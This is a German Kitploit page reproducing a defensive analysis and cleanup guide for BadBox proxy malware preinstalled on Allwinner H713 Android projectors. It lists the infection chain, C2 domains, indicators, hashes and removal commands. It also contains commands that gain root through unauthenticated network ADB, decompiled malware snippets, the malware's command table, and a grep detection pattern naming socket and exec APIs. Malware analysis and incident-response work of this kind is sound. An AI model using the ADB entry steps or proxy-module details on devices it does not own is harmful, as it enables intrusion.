Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
badbox-h713-projector — Analyse- und Bereinigungsleitfaden für BadBox-Malware auf Allwinner H713 Android-Projektoren: ADB-Zugriff, Infektionsnachweis, Firmware-Backup, Dropper-Entfernung und Verifikation. | Kitploit
Tools/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
Android-SicherheitEmbedded-System-SicherheitIoT-SicherheitReverse EngineeringInformationsbeschaffungMalware-AnalyseDigitale ForensikMobile SicherheitHardware- & IoT-Sicherheit

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Incident Response
Firmware-Analyse
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Analyse- und Bereinigungsleitfaden für BadBox-Malware auf Allwinner H713 Android-Projektoren: ADB-Zugriff, Infektionsnachweis, Firmware-Backup, Dropper-Entfernung und Verifikation.

Repository anzeigen
117vor 1 TagNoch nicht geprüft

Wielo / Atongmu Malware Projector: BadBox-Analyse und Bereinigung (AT-M269 / H713)

  1. Sep. 2026 · @R

Ein billiger Android-Projektor (Wielo / Atongmu AT-M269, Allwinner H713) wird mit einem systemweiten Dropper ausgeliefert, der ihn in einen Residential-Proxy-Knoten verwandelt. Dieses Dokument zeigt, wie man ohne Öffnen des Gehäuses hineinkommt, die Infektion nachweist, die Firmware sichert, die Malware entfernt und das Ergebnis überprüft.

1. Gerät

No-Name-LCD-Projektor, der unter wechselnden Marken verkauft wird. Das Board und die Firmware werden von vielen H713-Projektoren geteilt (HY300-Klone und andere), sodass alles hier Gesagte breiter anwendbar ist.

EigenschaftWert
Verkauft alsWielo Smart Projector, Modell AT-M269 (FCC ID 2BAAR-AT-M269D)
HerstellerShenzhen Atongmu Technology; Firmware und Apps vom OEM "ASHD"
Hardware-Revisionpersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1), Quad Cortex-A53; Board exdroid, Plattform ares
RAM / Speicher1 GB DDR @ 576 MHz / 8 GB eMMC (7.818.182.656 Bytes)
WLAN / BluetoothAIC8800 (aic8800d80, Treiber rwnx 6.4.3.0)
KernelLinux 5.4.99, 32-Bit (armv7l), gebaut am 8. Dez. 2025
Echter Buildh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, Firmware H713M-android11-v1.0, Build-Host ishang-PC
OSAndroid 11 (SDK 30), user-Build, Sicherheitspatch 2022-02-05
TarnungGibt sich als Google ADT-3 aus (Marke/Modell/Gerät, Hersteller askey); echtes Modell in ro.product.model2 = AT-M269
Partitionen / BootVirtuelles A/B, aktiver Slot _b, dynamische Partitionen (Retrofit) in super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate leer; OEM-Unlock nicht erlaubt; /system 100 % voll
Sicherheitro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB auf tcp/5868, SELinux permissive, privapp-Berechtigungen permissive, AOSP-Testschlüssel
RegionsstandardsZeitzone Asia/Shanghai, DTV-Bereich cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. Einstieg

ADB lauscht im Netzwerk auf einem nicht standardmäßigen Port, ohne Autorisierungsaufforderung und mit Root-Rechten.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

Lampe ausschalten, während über ADB gearbeitet wird```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` haben keine Wirkung.

## 3. Infektionskette

Zwei vorinstallierte System-Apps laufen als Systembenutzer (UID 1000). Eine lädt einen Loader herunter, der Loader lädt vier Proxy-Module und einen zweiten, unabhängigen Loader herunter.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> fremder Internetverkehr, der über deine Verbindung geleitet wird, und dein Gerät wird verfolgt (Seriennummer, MACs, Wi-Fi SSID/BSSID).

4. Nachweis einer Infektion auf Werksebene

a) Proxy-ähnlicher Datenverkehr: ein Prozess, viele fremde Verbindungen```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **b) Wer was installiert hat**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) Payload-Dateien im Datenordner des Droppers```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) Systemweite Einrichtung**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) Malware lief am Tag des Werks-Builds

Die Malware ist direkt in die Firmware eingebaut. Das Build-Datum ist eng.work3.20251208.154308, der Kernel wurde am Mon Dec 8 15:27:38 CST 2025 kompiliert. yiyous Aufzeichnungen zeigen, dass sie am selben Tag lief:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) Malware im vom Hersteller signierten, schreibgeschützten Systemabbild**

Ein Benutzer oder eine spätere App kann keine Dateien in `/system` ablegen. Es ist Teil von `super`, geschützt durch dm-verity und über `vbmeta` signiert.

## 5. Überblick über die Malware-Architektur

### 5.1. Hauptkomponenten

| Komponente                        | Speicherort                  | Funktion                                                                                                        |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`, UID 1000      | Lädt `plugin.jar` herunter und führt sie aus; sendet Seriennummer, MACs, android_id, Wi-Fi SSID/BSSID, Bluetooth-MAC an Umeng/Baidu |
| `plugin.jar` (DEX)                | yiyou `cache/`               | Zwei Teile: App-Installer (gerätespezifische App-Listen, 40+ Profile für H713/RK3326/HY300) und der "hs"-Task-Loader |
| "hs"-Task-Loader                  | innerhalb von `plugin.jar`   | Fragt alle 6 h das C2 nach Aufgaben der Typen `jar`, `dex` oder `apk` ab; lädt herunter, prüft MD5, führt aus   |
| SKN0041 `com.ad.proxy`            | `.rf`-Modul                  | TCP/UDP/ICMP-Tunneling, Heartbeat, Anmeldung/Bericht                                                           |
| SKN0054 `com.szns.sdk`            | `.rf`-Modul                  | Proxy-Knoten plus UDP-Scanning aus Ihrem Netzwerk                                                              |
| SKN0058 `com.link.core`           | `.rf`-Modul                  | Proxy-Client mit eigenen DNS-Resolvern                                                                         |
| SKN0061 `ddth2` / VpsSdk          | `.rf`-Modul                  | Proxy-Gateway, viele parallele Client-Instanzen                                                                |
| `com.google.adtest` ("com.speed") | `/data/app`                  | Zweiter Loader mit nativem Plugin-Loader; installiert/löscht Pakete; startet bei Boot-, Netzwerk-, HDMI-, Stromereignissen neu |
| `com.android.sysapp`              | `/system/priv-app`, UID 1000 | OTA-Updater: kann ein vollständiges Firmware-Image herunterladen und flashen                                    |
| Widevine-Dateien                  | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` hinterlegt ein DRM-Schlüssel-/Lizenzpaket, damit Streaming-Apps auf dem nicht zertifizierten Gerät laufen |

### 5.2. Wie die Teile verborgen bleiben```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. Welche Tracking-Daten gesendet werden```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. Laterale Bewegung

**Keine automatische laterale Bewegung, aber eine Tür ins LAN**

> Aber **SKN0041** und **SKN0058** leiten an jedes Ziel weiter, das das Gateway benennt, und SKN0041 kann es auch auf Befehl anpingen. Wer den Proxy mietet, kann das LAN manuell erreichen oder sondieren.

- `plugin.jar`
- entschlüsselte `.rf`-Module SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- native: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
Der vollständige Befehlssatz von SKN0041, aus der Dispatch-Tabelle in `com/ad/proxy/b/a0.java`:

| Opcode | Handler    | Bewirkt                                                                               |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | Heartbeat-Anfrage / -Antwort                                                       |
| 3      | W          | öffnet eine rohe TCP-Verbindung zu einem vom Betreiber angegebenen Host:Port, keine Adressprüfung     |
| 5 / 7  | X / Y      | TCP senden / schließen bei einer offenen Transaktion                                            |
| 8      | Z          | öffnet eine rohe UDP-Sitzung zu einem vom Betreiber angegebenen Host:Port, keine Adressprüfung        |
| 11     | K          | UDP schließen                                                                          |
| 12     | L → P.java | führt `ping -c 10 <host>` auf einem vom Betreiber angegebenen Host aus, leitet die vollständige Ausgabe zurück |
| 14     | M → Q.java | ruft eine vom Betreiber angegebene URL ab, keine Prüfung                                         |

Keiner dieser Opcodes filtert nach IP-Bereich.

Der `plugin.jar`-Video-Re-Stream-Server (`com.cloudmedia.tv.server.d`, ein NanoHTTPD-Fork, der Aiqiyi/Youku/CIBN-Stream-Rewrites bereitstellt) bindet ohne gesetzten Host, was bedeutet: alle Schnittstellen, LAN-erreichbar, nicht nur localhost, falls er startet. Sein einziger Einstiegspunkt ist `ParserUtils.AnalyticsHelper()`, hinter `getprop ro.board.platform == "rk3188"`. Dieses Gerät meldet `ares` (H713), also bleibt das Gate geschlossen.

Live-Gerätezustand: `netstat -tnp` zeigt nur Loopback-Screen-Cast (`com.android.toofifi` auf `127.0.0.1:5354`), GMS zu Google über IPv6 und die ADB-Sitzung. Kein `yiyou`-, `sysapp`-, `speed`-, `umanalytics`- oder `adtest`-Prozess läuft.

Die Binder-Schnittstelle von `systemmixservice` (beliebiges Datei-Lesen/Schreiben/Löschen und Property-Setzen als root, erreichbar für jede App auf dem Gerät) ist eine lokale Privilegieneskalation. Das Entfernen des Droppers und das Nicht-Installieren nicht vertrauenswürdiger APKs schließt sie.

## 6. Indikatoren

Netzwerkindikatoren (Domains, URLs, IPs) befinden sich in [Abschnitt 11](#11-consolidated-hosturl-list-for-abuse-reports).

### 6.1. Pakete

| Paket                                                         | Speicherort                                                | Rolle                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | Dropper                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | OTA-Kanal-Backdoor                                             |
| `com.google.adtest` (echter Name `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | zweiter Loader                                                    |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | OEM-Werks-Test-App, zusammen mit dem Dropper in Abschnitt 8 entfernt |
| `com.disney.disneyplus`                                         | `/data/app`                                             | vom Dropper installierte Cover-App                               |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | beibehalten, harmlos (Netflix-Fernbedienungshelfer)                   |

### 6.2. Binärdateien

| Binärdatei                                                                             | Init-Dienst                                                                          | Was sie tut                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, läuft dauerhaft ab dem Boot                       | Superuser/ClockworkMod-su-Daemon (öffnet `/dev/com.koushikdutta.superuser` + `.daemon`-Sockets).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: ausgelöst durch `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Nach einem 4-Sekunden-Schlaf beim Booten (`settings ... global start_disable`) findet es jedes installierte Paket mit einem `BOOT_COMPLETED`-Receiver, dessen Komponente mit `com.google.android` beginnt, und `pm disable`t es, um Googles eigene Boot-Zeit-Prüfungen wie Play-Protect-Scanning und GMS-Core-Dienste zu killen. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: gleicher Trigger und gleiche Flags wie appsdisable                                   | Gleiches Deaktivieren-von-Google-Boot-Receivern-Verhalten wie appsdisable, aber ohne `com.google.android.permissioncontroller`. Redundant.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | OEM-nativ? Zweck nicht vollständig bestimmt, aber ist root-Gruppe.                                                                                                                                                                                                                                   |

### 6.3. Dateien & Verzeichnisse

| Pfad                                                                                                                                                                          | Was                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | heruntergeladener "hs"-Loader / App-Installer-DEX               |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | verschlüsselte Proxy-Module (SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | gespeicherte Payload-Kopie für stille Neuinstallation                 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | Geräte-ID-Helfer-Native-Bibliothek                          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | Umeng-Sitzungs-DB                                         |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | Tracking-/Konfigurations-Prefs                                    |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | OTA-Download-Status-Prefs                                 |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | abgelegtes Widevine-L3-DRM-Bundle                           |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | Scratch-/Restplatz, der vom Loader und OTA-Client verwendet wird |

### 6.4. Sample-Hashes

| Sample                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (entschlüsselt)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (entschlüsselt)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (entschlüsselt)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (entschlüsselt)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (Widevine-Bundle)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (SKN0054-Konfiguration) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. Backup

Für dieses Modell scheint keine Firmware veröffentlicht zu sein, und der reverse-engineerte Vendor-OTA-Server liefert ebenfalls nichts zurück.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

Über Wi-Fi die Hilfsskripte verwenden

  1. dump-pull.sh [ip:port|usb] [file] zieht 256-MB-Blöcke mit Größenprüfung und Wiederholungsversuchen. Ein erneuter Aufruf setzt beim letzten vollständigen Block fort. Vor dem Lesen wird /data mit background_gc=off,nodiscard neu eingebunden, synchronisiert und 10 s gewartet. Über USB wird zusätzlich adb shell stop ausgeführt. Beides wird beim Beenden rückgängig gemacht (remount background_gc=on,discard, start). UDISK ist /data und bleibt aktiv, daher kann sich sein Hash von Lauf zu Lauf unterscheiden.
  2. dump-verify.sh [ip:port|usb] [file] [-y] prüft die Größe, die GPT-Header, die Boot-Bereiche und jede Partition (Geräte-SHA-256 vs. derselbe Byte-Bereich im Image). Es liest und korrigiert jeden nicht übereinstimmenden Abschnitt. Bei einem sauberen Durchlauf schreibt es mmcblk0.img.sha256.```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### Wiederherstellungspfad

In den Allwinner FEL gelangen, dann mit PhoenixUSBPro über ein USB-A-auf-USB-A-Kabel flashen.

Es gibt kein externes Pinhole, um in den FEL zu booten: `adb reboot efex` oder `fastboot oem efex`.

Möglicher Hardware-Fallback: das FEL-Pad auf der Platine, sichtbar auf den FCC-Innenfotos (erfordert das Öffnen des Gehäuses). Zum Flashen wird ein IMAGEWTY `update.img` benötigt, das aus deinem Dump mit `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) und einem H713-Template erstellt wird.

FEL ist nur schreibend. PhoenixSuit und PhoenixUSBPro können die eMMC nicht zurücklesen, und `sunxi-fel` hat kein SRAM-Layout für den H713, nur die schreibgeschützten Befehle funktionieren ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).

Der obige ADB-Dump bleibt die Backup-Methode.

### **Boot-Modi**

Das Gerät ist A/B (`ro.build.ab_update=true`) mit aktivem Slot `_b`. Es gibt keine `recovery`-Partition: Recovery befindet sich im Boot-Ramdisk. Die U-Boot-Serial-Konsole ist `ttyS0` mit 115200 Baud.

| Modus           | Wie man ihn erreicht                                                                                         | Ebene                 | Status                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | normales Einschalten, `adb reboot`                                                                           | Kernel                | funktioniert                                                                                |
| Recovery        | `adb reboot recovery`                                                                                        | Boot-Ramdisk          | funktioniert, Menü unten                                                                    |
| fastbootd       | Recovery-Menü: Enter fastboot                                                                                | Userspace im Recovery | wird betreten                                                                               |
| U-Boot fastboot | Recovery-Menü: Reboot to bootloader, oder `adb reboot bootloader`                                            | U-Boot                | funktioniert (macOS benötigt den Fix unten)                                                 |
| U-Boot efex     | `fastboot oem efex` aus U-Boot fastboot, oder `adb reboot efex` (U-Boot hat auch einen `ir-efex`-Remote-Trigger) | U-Boot                | funktioniert über `fastboot oem efex` und über `adb reboot efex`: `1f3a:efe8`, FEL-Handshake antwortet |
| BootROM FEL     | FEL-Testpad                                                                                                  | SoC BootROM           | ungetestet                                                                                  |

### **Recovery-Menü:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **ADB über USB**

Der Socket, der USB0 (`ohci0`) übernimmt, läuft standardmäßig als Host. Er wechselt bis zum nächsten Neustart in den Gerätemodus mit:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot nicht erkannt

das Gadget erscheint als 1f3a:1010 ("USB Developer"), und seine Schnittstelle ist der Standard-Fastboot ff/42/03. Seine Geräteklasse ist jedoch ff, das Betriebssystem (hier macOS) scheint keine Konfiguration einzurichten und fastboot devices bleibt leer.

Wenn dies passiert, besteht die Lösung darin, die Konfiguration einmal mit pyusb festzulegen und dann fastboot wie gewohnt zu verwenden:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

Von U-Boot fastboot wechselt `fastboot oem efex` zum efex-Gadget `1f3a:efe8`. (Möglicherweise ist derselbe `set_configuration()`-Fix erforderlich)

**Sunxi-tools-Build aus dem Quellcode**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Verwende nur version und --list, niemals spl, uboot, write oder exe, da die sunxi-Tools den Chipsatz nicht kennen.

Um FEL zu verlassen, ziehe zuerst den USB-Stecker ab und schalte dann den Strom aus, bis die blaue LED am Projektor erlischt. wdreset funktioniert nicht ohne SoC-Daten.

8. Bereinigung

8.1. Beweismittel sichern```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. Entfernung```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

Behalten, wahrscheinlich harmlos:

  • qw (su-Daemon, nur durch Bearbeiten von /system entfernbar, nur lokal erreichbar)
  • harmlose OEM-Apps: appsdisable, gmsopt, systemmixservice
  • com.android.nfx (Netflix-Fernbedienungshelfer)

Anti-Tamper-Prüfung

Das Deinstallieren von yiyou beschädigt die Einstellungen. Die checkSHA1()-Methode von com.ashd.settings hat zwei Prüfungen:

  1. Das eigene Signaturzertifikat der Einstellungen, das mit einem von fünf fest einprogrammierten SHA1-Werten übereinstimmen muss (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. Prüfung, ob com.android.umanalytics.yiyou (oder com.android.umanalytics.kege, wahrscheinlich der Name des Droppers in anderen Firmware-Builds) für Benutzer 0 registriert ist.

Beide Fehlerpfade protokollieren 签名校验失败,关闭应用 („Signaturprüfung fehlgeschlagen, App wird geschlossen"). Das vollständige Deinstallieren von yiyou (statt es nur zu deaktivieren, wie oben) löst dies aus. adb shell pm install-existing com.android.umanalytics.yiyou stellt die Registrierung wieder her, ohne es erneut zu aktivieren.

8.3. Bestätigung```

